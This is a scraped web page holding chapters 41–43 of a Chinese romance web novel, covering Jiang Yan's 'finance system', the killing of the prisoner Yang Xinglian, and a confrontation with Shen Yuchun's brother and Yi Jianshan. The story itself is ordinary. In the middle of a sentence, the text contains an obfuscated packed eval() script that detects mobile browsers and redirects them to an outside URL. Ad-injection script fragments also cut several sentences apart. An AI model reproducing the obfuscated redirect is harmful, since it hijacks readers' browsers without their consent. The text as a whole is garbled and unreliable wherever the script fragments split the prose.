蝉鸣鸟叫在一瞬间冲击入她的脑内,她缓了好一会儿才能勉强看见眼前的一群人。 他们都在神情怪异地看着她。 准确地说,是看她的手腕。 姜琰感觉手上有点热,也顺着他们的视线看过去,发现沈瑜春骨节分明的右手正稳稳握着她的左手,她看了一眼耳根子便瞬间红了,原本只是温热的触感此时有点轻微发麻,姜琰立刻抽出手道:“多谢。” 沈瑜春淡淡扫了她一眼,将手收了回来。 跟在后面的莫山岳也看见了这一幕,凑上来调侃道:“诶,大侄儿,我看姜姑娘不错,你也老大不小了,不如......嘿嘿。” 姜琰站得有些远,听不清他们在说什么,只能看到沈瑜春一直在看她,她被盯得有些发毛,感觉他们在商量什么馊主意,于是找了个借口:“既然没事,我就先回车里坐着了。” 然后迅速跑出了府衙。 沈瑜春见姜琰像个兔子一样地逃走,淡色的眸子里多了一丝笑意,不过这抹动容转瞬即逝,当再次看向莫山岳时,那双眼睛又冷若霜雪,连同说话的语气都有些淡漠:“少说点这种话吧,下次再说废话我就上奏让圣上把你调回应天修史,修个一年两载的,看你话还多不多。” 莫山岳摸了摸鼻头,小声嘟囔道:“光有本事威胁我,没本事对别人凶,有了媳妇忘了侄儿......” 沈瑜春猛地回头瞪了他一眼,莫山岳吓得屁股一紧,立刻灰溜溜地回书房去拿东西。 姜琰在马车上等了不到一炷香的时间沈瑜春便从府衙出来,起初姜琰是不知他何时出来的,只能听到马车外有此起彼伏的道别声,将帷帘拨开,便见沈瑜春长身玉立于俯首的府衙官吏中间,昂昂然若野鹤之在山野。 今日的日光太过白了,她想,沈瑜春一侧的头发被照得花白,俊朗深邃的面庞隐匿在光影之间,冠服端严,或许是从小习惯了旁人的奉承,当看着一个个谄媚的官员时,他也只是淡淡的笑着,即使眼中并无笑意,但神情闲远。 姜琰突然很羡慕他的游刃有余。 不得不承认有些人从出生就开始享受特权,年幼时不缺赞美,读书时不缺天赋,长大后不缺地位和钱财,从娘胎里就比别人站得高看得远,如果今日站在那里的不是沈瑜春,换作另一个寒门子弟站在那里听着这些糖衣炮弹,估计都会面红耳赤手足无措。 沈瑜春他就站在那里,欣然接受别人的赞美,即使他知道他背后仰仗的是沈氏一族,但他永远孤傲自持。 姜琰也想成为这样的人,面对批判不恼怒,面对赞美不脸红。 “看来我还需要很长一段时间。”她想。 府衙外,沈瑜春不胜其烦地听着众人对他的吹捧,太多的赞美之词让他变得麻木,头微微偏过去试图忽略掉他们眼里的谄媚,却不小心瞥见离他不远处的某人正掀开帘子看着他。 ...... 他微微将身子站直了一点,然后在不经意间偷偷瞥了好几眼。 他有的时候真的觉得姜琰的眼睛很好看,圆溜溜的杏眼眼角微微上挑,不笑也含情,即他知道现在的她只是在愣神,明明没有看他,可他却还是身体不自然地动了一下。 沈瑜春看着她头上的步摇一晃一晃的,就像秋天岸边的芦苇,毛茸茸的芦花一下一下扫在他的心上,心痒难耐。 “沈大人?您在看什么呢?” 莫山岳伸手在他眼前晃了晃。 因着沈瑜春官职比他高,再加上虽然他比沈瑜春年长,但辈分在那里,私底下莫山岳可能戏谑他是沈瑜春长辈,以叔叔自称,但大多数时候还是对沈瑜春毕恭毕敬的,莫山岳长得年轻,看起来也就比沈瑜春大了几岁,加上莫山岳的父亲是镇南大将军,常年不回应天和清河,儿他自己又是正儿八经科举考上来的,很多人都不知道他们有这层关系,只以为是莫山岳伶牙俐齿,把沈瑜春劝回去了,于是这些主事们都笑得比花还灿烂,心想这下稳了,赶紧把这尊大佛送走了事,然而不巧的是沈瑜春突然愣了神,他们都快把嘴说干了都不见这位祖宗动弹,听到莫山岳大着胆子叫他,也跟着眼巴巴地望了起来。 沈瑜春瞬间清明,也没有耐心和他们继续耗下去,面对诸多“依依不舍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715629|135439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的告别,只匆匆回了一句“告辞”便飞快地跑上了马车。 ... 马车内。 姜琰摊开莫山岳的文书,与其说是举证书,不如说是请罪书,内容大概就是以一个目击者的角度描述他是怎么潜伏在这几个人身边,看见他们都干了,如何鱼肉百姓将湖州搅得鸡犬不宁,情真意切,言辞陈恳,酸溜溜地文字让姜琰这个不怎么能看懂古言的人都眼眶发涨,尤其最后一句“臣德不类,上无颜对苍天圣上,下愧对于黄土父母,夙夜祗惧,不遑宁康。某痛自刻责,进利畏谗,望陛下开恩,革臣官职,告老回乡。” 看到这儿的时候她心里一惊,转头问道:“大人,莫大人真要辞官回乡了?” 沈瑜春“哼”了一声道:“听他瞎扯,他就这么一说而已,苏巍这些人归案以后他的官职只升不降。” 这一番话倒是点醒了姜琰,湖州之事牵连甚广,光是从现在看府衙、漕运司、铸铁局,甚至还会涉及到六部,这就不仅是地方官员的问题了,姜琰不清楚上头那位是个什么性格,若是雷厉风行,那整个朝廷都会来个大换血,若是顾虑较多,那便是雷声大雨点小,重拿轻放了。 姜琰有些担心,沈瑜春扫了一眼便知她在想什么,声音不自觉放柔:“放心,这些人逃不了的。” 或许沈瑜春便是权威,他不需要做出承诺,别人就真的会相信他一定做到,不由感叹道:“沈氏要是开个钱庄,肯定赚飞了。” 沈瑜春愣了一下,随后反应过来失笑:“在朝廷做官可不能发展私人产业。” 姜琰泄气地努了下嘴:“那还真是亏不少。” 既然都说到这儿了,姜琰干脆顺水推舟:“沈大人,官印......” 沈瑜春听到这两个字却没有一开始拒人于千里之外的态度,他恍然地“哦”了一声后从怀里掏出一个锦袋,直接扔到她的怀里:“这儿呢。” 姜琰:“?就这么给我了?” 沈瑜春笑笑:“不然呢?” 姜琰道:“可是你刚才......” 沈瑜春不咸不淡地说道:“刚才莫寻真在,不方便。” “可是那不是你侄儿?” “表的。” 好吧,姜琰将锦袋里的东西拿出来,南胤律法规定,正一品,银印。从正三品至从九品,一律用铜印,尺寸逐渐递减。未入流的官员连印都不能用,只能用“铜条记”,沈瑜春身为三品官员,官印大概为两寸,厚一寸,拿起来还是有点分量的,她将官印放在手心,还好是方纽的,要是圆纽的衣服一盖看起来怪怪的。 她问系统:“我拿到了,怎么激活?” 【正在激活财政系统......】 系统好久不说话,一开口把姜琰吓得一激灵,冰冷的机械音顺着大脑到处爬,就好像冬天人把浑身衣服脱光在冰冷的铁床上滚一遭一样。 姜琰真想问问什么时候这个系统能离开她的脑子? 【财政系统已激活......正录入数据】 【嘀——国库系统已录入,十三布政使司财政情况已录入,税收系统已录入......】 41.第 41 章 铺天盖地的海量数据涌入她的脑海中,就像把拳头大小的棉花塞进花生壳里,她能感觉到自己脑内的褶皱被数据撑平,被撕裂的胀痛席卷而来,她下意识地扶住了沉甸甸的脑袋。 沈瑜春见她皱眉低头,一副痛苦难忍的样子,也是心中一震,上前扶住她的胳膊道:“阿琰,你怎么了?” 姜琰听到这称谓时愣了一下,随后努力昂起头道:“没事......头突然很疼,难道是头饰太沉压脑袋了?” “......”沈瑜春虽然不知道她为什么疼,但总觉得真正的原因不该是这样的。 和沈瑜春说话的间隙,姜琰的头痛好了不少,沈瑜春一直在她身旁关切地看着她,让她怪不好意思的,她摆摆手道:“嗬嗬,大人,我没什么事啦,你......啊!” 该死的系统! 尖锐的疼痛刺入她的脑内,感觉有一把尖刀穿过她的脑内直抵咽喉,这次她终于无法忽视系统给她带来的疼痛,身子一软,从座上跌了下来。 头上的金钗步摇一时间哗哗作响,天旋地转之间姜琰感觉自己被人轻轻揽起,膝盖并没有抵到坚硬的马车车厢底部,而是坐到了...... 她睁开眼,往下一瞅,发现自己正坐在沈瑜春腿间! 这下姜琰脑子不疼了,她感觉脑子里好像有烟花炸开,原本疼痛的脑袋现在变成了一坨死肉,连带着剧烈跳动的心脏同频共振,她的脸瞬间热了起来。 “沈大人、我...我......” 沈瑜春好像不太开心,轻轻蹙眉,声音低哑:“姜小姐,要不,你先下去?” “哦哦哦好好好。” 她麻溜地从沈瑜春腿上下,心道自己真是迟钝,她坐在沈瑜春腿上估计人家也不好意思把她推下去,自己还磨磨蹭蹭的,他该不会以为自己是在占他便宜吧。 她又看了一眼沈瑜春那张俊脸,心里咂摸道:“自己倒也不吃亏。” 沈瑜春似乎是真的不太好了,皱着眉微微弓着身子,好像是肚子不太舒服,她坐近了些,沈瑜春却不知道为何总是躲着她,身子都快贴到车壁上去了。 姜琰:“沈大人你......” 沈瑜春还是皱眉捂着肚子道:“无事。” 姜琰却觉得他在逞强,身子挪得更近了,急切地关心道:“真的没事吗,可我看你疼得很厉害的样子......” 她离得很近,近到他能看清她脸上的细小绒毛,乌黑顺亮的发丝从她肩上倾泻下来,有一撮甚至还在他的手背上磨蹭。 她身上总有一股若隐若现的淡淡的花香。 沈瑜春有难言之隐,可又是个好强的人,不愿让她见到自己这副狼狈模样,更不愿让她知道其中的原因,但偏偏对面的人又是个热心肠的,于是心一横,稍微扬声道:“不用了,没事!” 姜琰被他突如其来的“吼声”吓了一跳,心里还有点委屈:关心他而已,何至于这么凶! 她默默收回手,坐得远了些,脸上一脸幽怨。 沈瑜春心里也是有苦难言,远远看着姜琰愈渐神色暗淡,好不容易等到自己心中那股热流渐渐消散,自己身旁的小女郎已经不愿理自己了,想要找点什么话说,但出口竟只有一句:“苏巍已经抓到了,打算押回应天由圣上定夺,至于立春堂,你打算怎么办?” 姜琰愣了一下。 别说姜琰了,就算沈瑜春自己一说出这话都恨不得将自己的舌头咬断:什么啊,人家还在生气,自己不安慰就算了,还要给人安排工作。 “简直是万恶的资本家!”姜琰气呼呼地想,什么立春堂什么三明堂她都不想管了,她现在就想带着自己的财政和财务系统远走高飞! 然而姜琰总是刀子嘴豆腐心,即使心里想的是随便吧这钱我不要了反正我最后也是充公,我还懒得查,但心怎么想那是心里的事,对着沈瑜春她只有冷冰冰的一句:“还能怎么办,只能把先把账平了再请示圣上,不然湖州的窟窿补不上,苏巍他们便无法绳之以法!” 沈瑜春见她少有的动了气,心里也不太舒服,可真正的原因也能难以说出口,于是只好默不作声,先等她消气了再说。 回到客栈时原本放晴的天空突然乌云密布,天地瞬间又晦暗了起来,淅淅沥沥的小雨如针点般落下,沈瑜春掀开帘子就见辛景和正右手举伞,左手拿伞,立于门外,异常地平静。 这可真是不像他,姜琰想,辛景和一向是个怕麻烦的主儿,他应该在门外等了好久,脚底下噼里啪啦溅起的水点已经顺势爬到了他的小腿之上,豆绿的龟甲纹缎面大袖长袍一时间竟如同远山般层层叠叠,再加上潮热雨天弥漫的水雾,到真有几分仙风道骨的样子。 “道人”景和见他们到了,立刻冒雨走上来,从窗牖处递过来一把油纸伞:“大人......” 原本只想拿过伞就放下帷帘的沈瑜春:“嗯?有什么事吗?” 辛景和一改刚才平淡的神色,支支吾吾的有些慌乱。 沈瑜春一向是讨厌麻烦的,辛景和磨磨唧唧半天蹦不出来一个字正好踩到他的雷点上,面露不悦道:“等我下来。” 姜琰觉得他那句话比这车外的雨点打在人身上还疼,也不知车外的辛景和遇到什么难处,只好快点和沈瑜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 春一同下车,她和他共撑一把伞,雨水、泥土的气味混着他身上的淡淡的兰香有一种空谷幽灵的感觉。 姜琰忍不住多闻了几下。 水珠顺着伞檐落下,断弦一般,沈瑜春睨眼道:“这些可以说了吧,到底有什么事。” 辛景和面露难色,战战兢兢地回道:“杨星连死了,家也被烧了。” 姜琰呼吸一滞。 沈瑜春眉头一皱:“什么时候的事?” 辛景和道:“昨天晚上死的,今天才发现。” 沈瑜春没有再说什么,手握着伞示意姜琰继续走。 “可杨星连不是在狱中吗?难道是有人监管不力?” 辛景和随着沈瑜春向前走了两步:“难说,我把昨晚的狱卒都抓起来审了一遍,但一直没问出什么话来。” 这话把沈瑜春搞迷糊了:“你没上刑?” 辛景和咂了咂嘴:“上刑也没用......昨晚情况有些特殊。” 沈瑜春等了几息,见他没有下文,忍不住给了他一脚:“怎么跟个老牛拉破车似的,拖拖拉拉的,非要我捅咕你下一才能说点话是吧,有话快说有屁快放,把你知道的东西赶紧倒出来。” 辛景和估计是习惯了,被骂也不生气,“嗐”了声道:“昨晚大牢走水,狱卒救火,烧伤了几个让他们回家修养了,杨星连在一开始就被转移走了,所以审他们也没用。” 沈瑜春挑眉,辛景和可不赶再耽误下去,免得又被骂,连忙接上上面的话:“本来到这儿都没什么问题,坏就坏在将他押走的人是......是......” 辛景和彻底不说话了,沈瑜春见他这幅窝囊样不耐道:“说。” 辛景和见他目光沉沉,似是要吃人,被吓得心一横,慷慨赴死道:“是沈大人你家的亲卫!” 沈瑜春瞬间瞠大了双眼,在原地愣了好一会儿,姜琰还是第一次看见沈瑜春如此不可置信地神色,大概他也知道这事解决不好沈氏一族即将大难临头,反应了好一会儿,才一字一字地咬着字眼道:“不可能。” 辛景和“啊呀”一声:“沈大人,你别不信啊,真是沈家的亲卫。” 沈瑜春摇头,坚决道:“不可能,沈家亲卫一直听得是我大哥的命令,我大哥不可能这么糊涂!” 辛景和挠挠头:“这个......呃,关于沈大公子......” 沈瑜春道:“怎么了?” 话说到这个份上,辛景和也不管不顾了起来,都是祖宗,得罪一个和得罪俩没有什么区别,他闭着眼,鼻子眼睛瞬间皱成一片:“大公子在里面等您呢!” 42.第 42 章 屋外的雨还在下着。 此时已经七月出头,正是江南梅子黄时,铺天盖地的绵绵细雨笼罩着家家户户,如同秦淮河畔倚栏作赋的文人骚客一般剪不断地愁绪。 淅淅沥沥的雨点落在青石板街,举着油纸伞的路人看着连日不放晴的天空,默默地叹了口气。 “唉——” 屋外愁,屋内也愁。 姜琰看着面前的男人,只觉得心累——又是一个美男。 最近登场的美男略多,多到哪怕像她这种沉迷男色之人也渐渐记不得谁是谁了,不过面前这位男子她倒是觉得有几分熟悉。 尤其看着这人眼下的痣,她总觉得在哪看过。 男子扫了一眼姜琰,眼里带着戏谑,向沈瑜春微微一挑眉,打趣道:“想必这位就是姜小姐了吧。” 沈瑜春没有反唇相讥,而是神色平静地点了点头,反观姜琰则是惊慌不已:什么?沈瑜春这就把她的真实身份供出来了? 男子笑了下,他的眼睛也很好看,灿若星辰,只是姜琰并未在他眼里窥见笑意,他皮肤很白,甚至连眼下的痣都是浅色,看到这儿,姜琰微怔。 这人长得真的好像林已絮啊! 她眯起了眼睛,不放过任何一个细节,仔细打量着面前男子的容貌和身形。 不错,姜琰得出结论,这人不仅眉眼间和林已絮十分相像,而且身材也差不多,只不过林已絮一看就是翩翩公子,而面前的人则像是一只雕刻精美的金汤匙,穿着富贵华丽,浑身上下散发着天潢贵胄的气息,但美则美矣,实际毫无人气。 这次还真不是姜琰先入为主,因为下一秒他便听他说道:“杨星连是我劫走的,人也是我杀的。” 姜琰感觉心头一麻。 他说这话时谁也没看,只是低头把玩着白皙修长手指不小心勾住衣带,任由它像女人头发一般轻轻缠绕在他的指尖,又悄悄溜走。 他低着头,姜琰看不清他脸上的神色,只能看见隐匿在暗影下微微翘起的红唇。 明明说得是杀人放火这种丧尽天良的事,却一点负罪感没有,就像死得并不是一个真正的人,而是折了一朵花,踩了一棵草那样轻巧。 姜琰浑身一颤,忍不住问道:“......这位公子,你可知私杀朝廷官员是犯法的。” 易见山闻言抬头看向她,眼里的疑惑转瞬即逝,他懒散地拍了下脑门,语调拉长道:“你看,我都忘了介绍自己了,姜小娘子好啊,鄙人姓易名见山,单字珏。” “什么?!” 姜琰差点咬到舌头,惊呼出声:“你是、你是......” 易见山狭促道:“我是,我是易见山啊!” 姜琰浑身一僵,后背泛起丝丝凉意,她又看向那双毫无感情的眸子,感觉体内的血都被冻住,连指尖都有些发颤,她在心里崩溃道:坏了,没想到有一天演戏还能遇见原主。 不是说易见山常年深居简出行事低调吗,眼前的男人行事作风甚至身材长相有一点是低调的吗! 姜琰在心里吐槽了一万遍系统的不靠谱。 不过易见山应该不知道自己假冒他的事情,姜琰安慰自己,毕竟以易见山的身份,要是知道自己假冒他骗取当地乡绅钱财,估计会立刻找上门来,但事情已经发生快一个月了,姜琰还是活得好好的,说明问题不大,对方对此并不知情。 姜琰又放松起来,刚打算继续说话,还未开口,又听易见山劈头盖脸砸下来一句:“说起来鄙人和姜小姐也颇有渊源,我路过青州时听闻有人借我的名义骗......啊,说骗太不文雅了,应该说是劫富济贫,对吧,姜小姐。” 易见山此话如当头一棒,把姜琰打了个措手不及,她也是第一次遇到这种情况,对方明摆着的恶意让她束手无措,她慌乱地看了眼沈瑜春,又在回头时看见沈山青压眉不悦的表情。 ......完了,姜琰想。 沈瑜春的兄长还在这里,她要怎么解释才能让自己看起来不是个骗子? 虽然她就是个骗子。 姜琰道:“这件事......” “是我让他做的。” 沈瑜春冷声回道。 姜琰猛地抬头望向他。 沈山青见状拍案而起:“胡闹!” 姜琰被这声音吓得浑身一颤,下意识躲到沈瑜春身后,沈瑜春见状顺势向前一步,将她护在身后,侧头用微不可闻的声音说道:“别怕,不是冲你来的。” 姜琰心想怎么不是,却听沈山青道:“你擅自离守就是为了这个?你头顶的乌纱帽要还是不要了,父亲还在京中,你让他在朝上如何自处,我看那些御史的吐沫都快把他淹死了!” 听到沈山青这么说,姜琰忽地放下心来:还真不是冲她来的,不过为什么呢,一般像沈氏这种望族,面子才是最重要的,沈瑜春把错揽到自己身上,沈山青还顺嘴就骂起来了,真是奇也怪哉。 沈瑜春显然没把这事儿放心上,面对兄长的斥责也是左耳进右耳出,神色平静道:“嗯,不要就不要了。” 姜琰身形一滞。 她有些疑惑地看着沈瑜春,似是想看清楚他是否是认真说出这句话的,然而当她抬起头时,目光所及只能看到沈瑜春背对她时一点点白皙清瘦的脸颊。 她心中生出一股恼意,沈瑜春的话就像一把小钩子一样钩住了她的心,带着点疼的痒意让她迫切地想要把这把钩子从心里拽出来好看清这感情的真面目。 是心动吗,是喜欢吗,但那可是沈瑜春啊,姜琰想。 她又看了一眼沈瑜春的背影,今日他穿了一身素衣,袖口绣了两片竹叶,这样素雅宽大的直裰穿在他身上竟没有弱不经风的感觉,反而因为英挺的身姿更显气度非凡。 姜琰想:这样的天之骄子,也能为了我放弃仕途和脸面吗? 并非姜琰妄自菲薄,在心动之人面前自我审视是不可避免的,尤其当一个又英俊又有钱脑子还聪明的人站在自己面前,虔诚真挚地说出“为了你我愿意放下一切”时,正常人都应该会先愣一下,然后指向自己问那人:“我?就我吗?” 虽然姜琰觉得自己长得也还过得去,能力也还挺强的,毕竟多年深耕在财务领域,手握CPA和CFA证书,情商也不低,人也伶俐,可当她听见沈瑜春说出“不做也罢”的这种话时,还是会像个被从天而降的礼物砸懵了的人一般一脸震惊又呆滞地指着自己向老天反复确认:“啊?给我的吗?真的吗?” 她的心里滋生出了丝丝喜悦,就像早春迅速疯长的藤曼一样将她紧紧缠绕了起来。 不仅是姜琰,在场的所有人都愣了一下,此时沈山青终于正眼看了眼她,姜琰本以为沈山青要向自己发难了,正准备接受审判,下一刻便见沈山青将头扭到一边,对易见山说道:“竖子无礼,得罪了易公子,还请易公子见谅。” 易见山愣了一下。 姜琰也懵了:“就这?” 易见山嘴角勉强弯了一下,皮笑肉不笑道:“沈大人哪里的话,本公子也只是随 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 口一说。” 沈山青几不可见地颔首一下,易见山摸了下鼻头:“关于杨星连一事......” 沈山青毫不留情地打断了他:“正如昭远所说,此事已经了结,杨星连一事交由易家处置,这是父亲对我的嘱咐,沈某已经完成使命,辛苦沈公子跑一趟。” 这下连姜琰都觉得易见山有些尴尬了,如果说先前易见山如同雄鸡般斗志昂扬,那么此刻他就像落水狗一样狼狈,他今天本来想得是好好给沈山青扇扇风,拱拱火,自己再顺便观摩一场“兄弟阋墙”的热闹场面,没想到沈家人护犊子这么严重,看来外界传言果然是真的,不过他也不恼,深深看了一眼姜琰和沈瑜春,无奈地笑了声:“好吧,既然沈大人话说到这个份上,那易某也没什么要多说的了,今日见了沈大人、小沈大人,还有一位国色天香的小美人儿,也算是一桩幸事......” 沈瑜春一个眼神扫射过来。 易见山不慌不忙道:“那在下就告辞了。” ...... 易见山走后,偌大的厅堂内只有她和沈氏兄弟三人,连辛景和都被赶了出去,姜琰突然有点丑媳妇见公婆的局促。 沈瑜春余光瞥了下姜琰,眼中流露出一丝不易察觉的笑意,拉着她到身旁的椅子上坐下,然后看着站在他们对面的沈山青道:“大哥,许久未见,别来无恙?” 沈山青“哼”了一声:“托你的福,最近处理你的事情四处奔波,偶感风寒,但已经爽利了许多。” 二人相处时到没有了刚才易见山在这里的剑拔弩张,沈山青冲她昂了昂头:“你不介绍一下?” 沈瑜春却拒绝了:“少来,别打趣她了。” “也是”,沈山青冲她笑了一下,冲淡了些许他身上的死人感,姜琰回以一笑,虽说他是谁沈山青应该是知道了,但该有的礼数不能失,见沈山青并无恶意,她起身恭敬行礼道:“沈大人,草民姜琰。” 沈山青淡淡地“嗯”了一声,姜琰起身坐下,身旁的人见她坐定,立刻问道:“所以杨星连的事情......” 沈山青的语气还是一如既往的毋庸置疑:“我说了,这事到此为止,你和你的手下都不许查了,就按照现有的供词结案,该斩头的斩头,该流放的流放,切勿深究。” 沈瑜春不明白:“为什么?” 沈山青白了他一眼:“为什么?我且问你,易家的主子是谁?” 沈瑜春瞳孔紧缩:“难道是圣上他......” 沈山青点了点头:“不错,杨星连好歹官至四品,他易见山虽然不学无术也不是个傻的,该杀不该杀他心里还是清楚的,你以为他会莫名其妙地杀了杨星连,不可能,除非是上头那位的旨意。” 话说到这儿,姜琰心中也大概有了眉目: 湖州官员私自放贷一事牵连甚广,要说是杨星连这几人擅作主张也未尝不可,但他们背后没有人了吗,那倒也未必,只不过上头那位觉得这事不宜解决的太早,钉子是早晚要拔的,但时机很重要,否则功亏一篑,得不偿失。 沈山青该说的也说了,不该说的也说了,话点到为止,沈瑜春也是个聪明人,听完这番话后叹了口气道:“我知道了。” 沈山青满意地点点头,走到他身旁拍了拍他的肩膀:“湖州的事情已经进入尾声,你们好好休整一下,不日便回京吧。” 说罢,他顿了顿,又道:“顺便去看看你姐,她不想让我们去看望她,我们也不方便进去,代我和父亲向她问好。” 43.第 43 章 沈瑜春的......姐姐? 自从和沈瑜春熟悉以后,她经常听到他提起他的长姐,似乎是位颇有才学的美人,但为何看着沈山青提起她的模样,他们之间关系并不融洽。 沈瑜春余光瞟了一眼姜琰,见她果然一脸好奇地盯着自己,心里无奈地叹了口气,待到沈山青走后,他又坐回刚才的椅子上,一手捧着茶盏,一手掀开盖子撇开茶沫,装作漫不经心地抬眼看了一下,发现对方还在盯着自己,被氤氲水雾熏得湿漉漉的眸子浮现出一丝无奈:“关于我的长姐......” 他看见姜琰耳朵动了一下,语气顿了顿,有些不自然地放下茶盏:“她叫沈兰,或许......你听过《平沙落雁》这首曲子吗?” “平沙落雁?”姜琰不可置信地重复道。 “盖取其秋高气爽,风静沙平,云程万里,天际飞鸣。借鸿鹄之远志,写逸士之心胸者也。” 这是经世大儒李有来对这首曲子的评价,此曲一出,轰动南胤,上至宫廷庙宇,下至勾栏瓦舍,只要是会点琴艺的,别管是读书人还是伎子,都争着抢着背谱,期望有一日自己能弹出这首曲子。 那时的私塾先生每日早课也不查诗书,而是先让学生们弹一段《平沙雁落》来静心养身,借此激励学生心中“鸿鹄之志”,书写“逸士心胸”。 至于姜琰是从哪听到过这首曲子,这个嘛...... “这是你姐姐写得?” 沈瑜春没想到姜琰连《论语》都背不明白,却听过这首曲子,一时间惊讶于对方的涉猎广泛,忍不住问道:“你听过?” 姜琰不知道该怎么说,李氏曾经想把她许配给自己有些疯癫的侄子李佩,其实原主不是没见过她这个表哥,李佩幼时来濯州上学,居住在姜府,二人还是接触了一段时间,这表哥虽然长得挺聪明,但根据原主的记忆,这位表哥实在是资质平庸,教书先生教了好几遍都学不会,晚上被罚留在学堂继续学,姜琰迫于李氏的威逼只好可怜兮兮地蹲在角落里听着表哥一边哭一边弹琴,可惜她都学会了表哥还没学会,最后教书先生丢下一句“朽木不可雕也”气得连夜辞职回家了。 以至于每当她想起这首歌时,她总觉得这首歌比起世人的评价,倒多了一份慷慨悲壮...... 姜琰老老实实地点了下头,却没有说在哪听过。 沈瑜春眼神灼灼,似有火光:“你觉得这首曲子怎么样?” 姜琰试探着回答,装作高深却又真诚地说道:“逼真、生动听着好像真有鸿雁回首瞻顾一般。” 沈瑜春赞同地点点头,指腹摩挲着下巴:“确实生动,这曲子一出我父亲为了给我姐捧场就逼着我学会弹给学宫的伙伴听,他一边打我手心一边重复琴谱的样子历历在目,清晰如昨。” “噗——” 姜琰没忍住笑了出来。 沈瑜春也是第一次逗女孩开心,见自己目的真的达到了,反而有些扭捏,连耳根子都染上了淡淡的粉红。 姜琰觉得笑得也有些放肆了,连忙收住笑容,问道:“沈姐姐天资聪颖,才华横溢,沈家主应该非常引以为豪吧。” 沈瑜春听到这话眸子一暗:“那时是这样的,不过后来......” 一提到这儿沈瑜春整个人都黯淡了下来,姜琰感觉他情绪不对,急忙打住:“是我多嘴了,大人若是不想提,那便不提了。” 沈瑜春却无谓地笑了下:“无妨,告诉你也无妨,我长姐本来是要嫁于太子的,结果大婚前一夜突然逃出沈家,从此以后销声匿迹,父亲寻了她很久也没有找到她,最后在琼林赐宴的新科举子中,见到了替易家代考,中进士的阿姐。” 姜琰却听不太明白了:“沈家姐姐为何会代考,还是替易家人?” 沈瑜春没有回答,而是接着自己未说完的话继续说道:“知道此事之后父亲勃然大怒,但因为代考是欺君重罪,阿姐又是女子,还是替与沈家不对付的易家子弟代考,说出去难免会让人浮想联翩,议论非非,阿姐从小就是族中子弟的典范,何时干过如此离经叛道之事,父亲一事心郁难解,病了有数月,最后给了阿姐两个选择——主动辞官,对外他便宣城沈兰已死,为她伪造一个叔父家未出阁女儿的身份,另嫁他人;或者断绝父女关系,从此沈家是沈家,她是她。” 姜琰想也不想,直接说道:“我猜沈姐姐应该是选了第二条。” 这其实不算是很好决定的选择,如今朝廷中各家势力复杂,关系盘根错节,若真是没有家族和旁人帮衬,到底是要吃点苦的。 姜琰很难想象沈兰是如何在举步维艰的朝堂上爬到高位的,又或者她现在已经放弃了,于是问道:“那沈姐姐现在官居何位?” 沈瑜春皱着眉,慢吞吞道:“她现在是国子监博士。” “那也不错啊!”姜琰是实打实地为她开心。 “嗯......”沈瑜春欲言又止,“确实是非常好的归宿了,只不过......” “只不过什么?” 只不过付出了很大代价。 沈瑜春惊醒一般摇摇头:“没事。” 姜琰见他一副欲言又止的样子,也不好再问什么,其实姜琰心里明白,一个女子在朝堂上形单影只的向前走能是什么易事,只是回首轻舟已过万重山,在沈瑜春这里,只有一声感慨地叹息罢了。 她摸了一下怀中的玉佩,林已絮说国子监只有一位教书先生,想来便是沈兰了,于是问道:“大人是否认识青州的林已絮?” 沈瑜春想了想,摇头道:“从未听说过这名字。” 说罢,似是有些不悦,看着姜琰,目光沉沉:“你可以不叫我沈大人吗?” 姜琰一愣,头脑风暴许久才硬生生憋出来一句:“不叫你大人......叫什么?” 沈瑜春被她这么一问,也是卡了一下,脸上发热,不好意思地折过头去用侧脸对着她,姜琰在对面只能看到他局促不安扑闪的羽睫:“随你。” 姜琰还是第一次见沈瑜春害羞,在宁泊远家时哪怕脱光了衣服也没这么羞赧,那时他虽然嘴里喊着“不要、别看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”但实际则是羞耻和被冒犯的不悦,现在他说着说着就脸红了,反而搞得姜琰心里突突跳起来,浑身发热。 她悄悄凑到他面前,直直盯着那双琉璃一般的眸子,带着狭促的笑意问道:“那沈大人想要我叫你什么?” 沈瑜春觉得面前人的五官突然在眼前放大,呼吸尽在咫尺,脸上甚至能感受到她说话呼出的热气,只觉热血上涌,脑子都木了,一时间不知道怎么回,只能更加慌乱地眨着眼睛。 姜琰笑了一下道:“叫你昭远?” 沈瑜春不假思索地拒绝:“不要。” 姜琰装作思考模样,将身子抽离些,侧着身摸着嘴唇道:“瑜春?” 沈瑜春神情变得奇怪了起来:“......这是否太奇怪了?” 好像俩人根本不熟一样。 “有了”,姜琰眼睛亮亮的,“阿瑜!” 沈瑜春心头一震,抬头看向姜琰,少女不知何时圆润了些,笑起来时脸颊圆圆鼓鼓的,乌黑澄澈的眼睛如同曜石一般望着自己,水光潋滟如一泓盈盈秋水,他不由自主地放缓了呼吸。 姜琰还沉浸在自己的“聪明才智”中,见他不说话以为是不满意,有些挫败道:“怎样,这个名字好还是不好?” 沈瑜春渐渐缓过神来,半晌,庄重地点了点头:“瑜,美玉也,你叫我这个名字,我当然开心极了。” 这也太官方了,姜琰腹诽道,她对这个回答可不是太满意。 姜琰没说话了,嘴巴赌气似的微微撅起,沈瑜春这才发现自己嘴笨说错话了,想了半天补救的方法,忽然手忙脚乱的从腰上摘下一块玉佩捧在手里交给她道:“阿瑜赠阿琰。” 她这才记起来,瑜和琰都有美玉的意思。 